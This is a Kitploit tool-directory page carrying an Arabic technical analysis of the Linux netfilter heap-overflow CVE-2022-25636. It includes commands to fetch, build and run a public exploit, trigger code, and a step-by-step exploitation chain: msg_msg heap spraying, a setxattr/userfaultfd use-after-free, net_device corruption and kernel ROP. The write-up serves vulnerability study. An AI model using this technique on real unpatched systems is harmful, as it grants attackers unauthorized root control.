Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-25636 — تحليل تقني مفصّل وتوثيق استغلال لثغرة CVE-2022-25636، وهي ثغرة تجاوز سعة الكومة (heap overflow) في مكوّن netfilter داخل نواة Linux تتيح تصعيد الامتيازات محليًا عبر رشّ الكومة (heap spraying) واستغلال الاستخدام-after-free (UAF). | Kitploit
أدوات/GitHubGitHub/chenaotian/cve-2022-25636
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائية
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

تحليل تقني مفصّل وتوثيق استغلال لثغرة CVE-2022-25636، وهي ثغرة تجاوز سعة الكومة (heap overflow) في مكوّن netfilter داخل نواة Linux تتيح تصعيد الامتيازات محليًا عبر رشّ الكومة (heap spraying) واستغلال الاستخدام-after-free (UAF).

عرض المستودع
322منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-25636 استغلال ثغرة netfilter لرفع الصلاحيات في النواة

[toc]

ملخص الثغرة

رقم الثغرة: CVE-2022-25636

المنتج المتأثر: linux kernel - netfilter

الإصدارات المتأثرة: linux kernel 5.4 ~

خطورة الثغرة: وجود كتابة خارج حدود الكومة (heap out-of-bounds write) في وحدة netfilter في النواة، مما قد يؤدي إلى رفع الصلاحيات عند امتلاك صلاحية SYS_ADMIN

إعداد البيئة

توجد الثغرة في وحدة netfilter في النواة، وتقع الشيفرة المتأثرة في 3 وحدات ko.

root@kitploit:~
nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

التشغيل المباشر عبر qemu يسبب مشاكل، إذ لا يمكن تحميل وحدات ko، لذلك نستخدم vmware مع جهازين للتنقيح المشترك.

في ubuntu 21.10 يمكن استبدال النواة يدويًا:

root@kitploit:~
apt-get install linux-image-5.13.0-30-generic

ثم احذف النواة الأصلية وقم بترجمة الاستغلال:

root@kitploit:~
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

نتيجة رفع الصلاحيات (نسبة النجاح أقل من 50%):

image-20220318151010142

مبدأ الثغرة

موقع حدوث الثغرة

الدالة المتأثرة هي nft_fwd_dup_netdev_offload:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

عند تعيين flow->rule->action.entries (هذه البنية هي بنية متغيرة الطول دون فحص حدود) لا يتم إجراء فحص لحدود الكومة، مما يؤدي إلى كتابة خارج الحدود لعدد صحيح (4 أو 5) ومؤشر.

مكدس الاستدعاءات

تُستخدم الدالة في nft_flow_rule_create:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

root@kitploit:~
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions 初始化为0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {//根据rule数量调用offload
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

يمكن ملاحظة أن الدالة nft_flow_rule_create تخصص البنية flow وتعالجها بناءً على عدد بنى rule المرسلة من مساحة المستخدم، حيث يتم العد باستخدام المتغير num_actions. لكن أثناء العد يتم فقط حساب الـ rule التي تحمل علم NFT_OFFLOAD_F_ACTION، ويتم تخصيص بنية بحجم يتناسب مع ذلك العدد. ومع ذلك، عند استدعاء معالجة offload لاحقًا، لا يتم استخدام num_actions في الحلقة، بل يتم التكرار بعدد الـ rule كما في السابق، دون إعادة التحقق من علم NFT_OFFLOAD_F_ACTION. بمعنى آخر، عندما تحتوي الـ rule المُمرَّرة على rule لا تحمل علم NFT_OFFLOAD_F_ACTION، فإن عدد مرات استدعاء offload لاحقًا سيكون أكبر من عدد عناصر flow->rule->action.entries المخصصة مسبقًا. داخل offload سيتم استدعاء الدالة المعيبة nft_fwd_dup_netdev_offload، وفي كل استدعاء تزداد قيمة ctx->num_actions بمقدار 1، و تُهيَّأ بقيمة 0، وفي النهاية ستصبح أكبر من نطاق مصفوفة ، مما يسبب الكتابة خارج الحدود.

بعض البنيات:

root@kitploit:~
struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

مكدس الاستدعاءات:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

استخدام netfilter وتشغيل الثغرة

رابط مرجعي: https://www.openwall.com/lists/oss-security/2022/02/21/2

يوضح هذا البريد الإلكتروني كيفية استخدام netfilter عبر مكتبتَي libmnl وlibnftnl للغة C، وتكمن نقطة تشغيل الثغرة الرئيسية في ما إذا كانت الـ rule المضافة تحمل علم NFT_OFFLOAD_F_ACTION أم لا. فقط الـ rule المضافة عبر nftnl_expr_alloc("immediate"); تحمل علم NFT_OFFLOAD_F_ACTION:

root@kitploit:~
for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

استغلال الثغرة

الاستغلال ليس مستقرًا جدًا، لكن التقنية المستخدمة فيه بارعة. الثغرة تتيح كتابة مؤشر غير قابل للتحكم في إزاحة ثابتة خارج الحدود، وأرى شخصيًا أن صعوبة الاستغلال عالية جدًا. دعونا نحلل الأسلوب التقني باختصار. استنادًا إلى شيفرة الثغرة، يمكن معرفة أن كل كتابة خارج الحدود لا يمكنها كتابة سوى عدد صحيح (id، ثابت بقيمة 4 أو 5) ومؤشر (*dev)، حيث يشير المؤشر إلى البنية struct net_device. سنركز هنا على كتابة مؤشر dev:

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
	··· ···
}

بشأن البنية struct flow_rule، ولأنها بنية متغيرة الطول، فإن نطاق الأحجام التي يمكن تخصيصها يرتبط بإمكانية نجاح الاستغلال.

  • عند تمرير rule واحدة فقط، يكون حجم البنية 0x70، وهي تنتمي إلى kmalloc-128(0x80). إذا حدثت كتابة خارج الحدود، فسيُكتب مؤشر dev عند الإزاحة 0x88، أي خارج الحدود بمقدار 0x8.
  • إذا تم تمرير rule اثنتين، يكون حجم البنية 0xC0، وهي تنتمي تمامًا إلى kmalloc-192(0xC0). إذا حدثت كتابة خارج الحدود، فسيُكتب مؤشر dev عند الإزاحة 0xd8، أي خارج الحدود بمقدار 0x18، وعند الكتابة خارج الحدود مرتين ستكون عند الإزاحة 0x18 + 0x50...

البنيات ذات الصلة:

root@kitploit:~
struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};

struct flow_dissector {
	unsigned int used_keys; /* each bit repesents presence of one key id */
	unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {//大小0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

تسريب عنوان بنية net_device في النواة

عند بدء الاستغلال، يجب أولاً تسريب عنوان *dev مرتين. ولأننا بحاجة إلى تسريب عنوانَي dev مختلفَين، يتم التسريب الأول في العملية الحالية والثاني في عملية فرعية. نستخدم msg_msg للتسريب (مراجعة تقنية msg_msg)، مع رشّ كومة (heap spray) برسائل بحجم 0x1040. وبسبب بنية msg، تنقسم الرسالة إلى جزأين، حيث يكون طول الجزء الثاني 0x70، ومع مؤشر الرأس سيتم تخصيص كتلة من kamalloc-128. ثم نحرر رسالة واحدة، مما يحرر كتلة kmalloc-128. بعد ذلك نستخدم بنية flow_rule التي تحتوي على rule واحدة فقط، وهي أيضًا من kmalloc-128 تمامًا، على أمل الحصول على الجزء الثاني من الرسالة المحررة من kmalloc-128 لتكوين شكل الكومة التالي:

image-20220320175028938

بعد أن تخصص flow_rule البنية msg_msgseg المحررة، فمن المرجح أن تكون مجاورة لبنى msg_msgseg الأخرى التي تم رشّها على الكومة. وبهذا، عند حدوث كتابة واحدة خارج الحدود، سيُكتب مؤشر كومة من نوع net_device (مؤشر dev) عند الإزاحة 0x8 خارج الحدود. كل ما نحتاجه هو استقبال جميع الرسائل التي تم رشّها للتو على الكومة، فلنتمكن من قراءة مؤشر الكومة هذا، وبذلك يكتمل تسريب العنوان لاستخدامه لاحقًا، دون أن يحدث انهيار.

استخدام setxattr لتحقيق UAF وتسريب kaslr

بعد ذلك نسرب kaslr للحصول على العنوان الأساسي للنواة. باستخدام الطريقة نفسها، نستخدم msg_msg مع رشّ الكومة، حيث نرشّ مجموعة من الرسائل بحجم kmalloc-192، وهذه المرة نستهدف الجزء الأول من msg_msg في الرشّ. ثم كما في الطريقة السابقة، نحرر رسالة واحدة، ثم نخصص flow_rule، محاولين تكوين شكل الكومة التالي:

image-20220320184800730

هذه المرة نستخدم بنية flow_rule التي تحتوي على rule اثنتين، بحجم 0xC0، وهي تنتمي تمامًا إلى kmalloc-192. إذا حدثت كتابة خارج الحدود 6 مرات، فسيُكتب مؤشر * dev عند الإزاحة 0x18+0x50*5 خارج الحدود، وهو تحديدًا موقع الإزاحة 0x28 من كتلة kmalloc-192 الثالثة بالأسفل. إذا كانت البنية من نوع msg_msg، فهذا هو مؤشر security. عندئذ، إذا استخدمنا الدالة msgrcv لتحرير بنية msg_msg هذه، فستستدعي kfree لتحرير المحتوى المشار إليه بمؤشر security، وهذه هي بدائية التحرير الحر لعنوان عشوائي (arbitrary free) الخاصة بـ msg_msg->security . الشيفرة ذات الصلة كما يلي:

root@kitploit:~
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
    ··· ···
    ··· ···
	free_msg(msg); 			
	··· ···
}

void free_msg(struct msg_msg *msg)
{
	··· ···
	security_msg_msg_free(msg);
	··· ···
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);
	msg->security = NULL;
}

هكذا، عند تنفيذ عملية استقبال للرسائل التي تم رشّها للتو، سنؤدي إلى تحرير مؤشر dev الذي استبدلنا به security، أي تحرير بنية net_device. بعد ذلك نستخدم setxattr مع userfaulted لمحاولة العبث بكتلة الكومة هذه، لإتمام هجوم UAF. تتيح setxattr تخصيص كتلة كومة بأي حجم في النواة، وكتابة أي محتوى فيها، ثم تحريرها. إنها وسيلة شائعة في استغلال ثغرات النواة.

ولأن كتل kmalloc-192 الحرة (free state) في النواة كثيرة، فإن استخدام setxattr مرة واحدة لا يكفي بالتأكيد، لذلك نلجأ إلى خيوط (threads) متعددة تستدعي setxattr في وقت واحد، مع الاستفادة من userfaulted لزيادة زمن الاستدعاء وإطالة مدة احتلال الكتل، سعيًا لتخصيص أكبر عدد ممكن من كتل الكومة في النواة، وبالتالي تخصيص بنية net_device المحررة للتو. وبمجرد تخصيصها، يمكننا تعديل محتوى بنية net_device، حيث نستبدل مؤشر dev_addr بمؤشر netdev_ops، لأن netdev_ops يُهيَّأ بالقيمة loopback_ops، ثم نعدل بعض الحقول مثل الاسم لنتمكن من التحقق من نجاح التعديل:

root@kitploit:~
    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

بعد ذلك، يكفي استدعاء وظيفة SIOCGIFHWADDR عبر ioctl على socket لقراءة العنوان الفيزيائي، فنتمكن من قراءة عنوان loopback_ops وإتمام التسريب. بعض الأعضاء المفيدين في net_device هم:

root@kitploit:~
struct net_device {
	char			name[IFNAMSIZ]; //修改name判断是否改正确
	··· ···
	const struct net_device_ops *netdev_ops;//初始化为,用于泄露内核地址
	int			ifindex;   
	·· ···
	const struct  ethtool_ops *ethtool_ops; //用于劫持rip
	··· ···
	unsigned char		addr_len; //用于读取地址长度
	··· ···
	unsigned char		*dev_addr; //篡改用于泄露地址,被SIOCGIFHWADDR 读取
};

UAF ثانٍ لتنفيذ ROP داخل النواة

بنفس الأسلوب، نستخدم setxattr مع userfaulted لإتمام UAF. هذه المرة، بعد أن حصلنا على عنوان النواة، نعبث مباشرةً بحقل ethtool_ops في net_device لاختطاف eip، ثم نستخدم وظيفة SIOCETHTOOL عبر iotl على socket، فسيؤدي ذلك إلى استدعاء دالة داخل ethtool_ops لاختطاف rip، ومن ثم تنفيذ ROP. تمت إعادة الإنتاج بنجاح على ubuntu 21.10 بإصدار النواة 13.0-30:

الاستغلال: https://github.com/Bonfee/CVE-2022-25636

image-20220318151010142

المراجع

البريد الإلكتروني: https://www.openwall.com/lists/oss-security/2022/02/21/2

وثيقة المؤلف: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/

الاستغلال: https://github.com/Bonfee/CVE-2022-25636

تنزيل الأداة
ctx->num_actions
ctx->num_actions
flow->rule->action.entries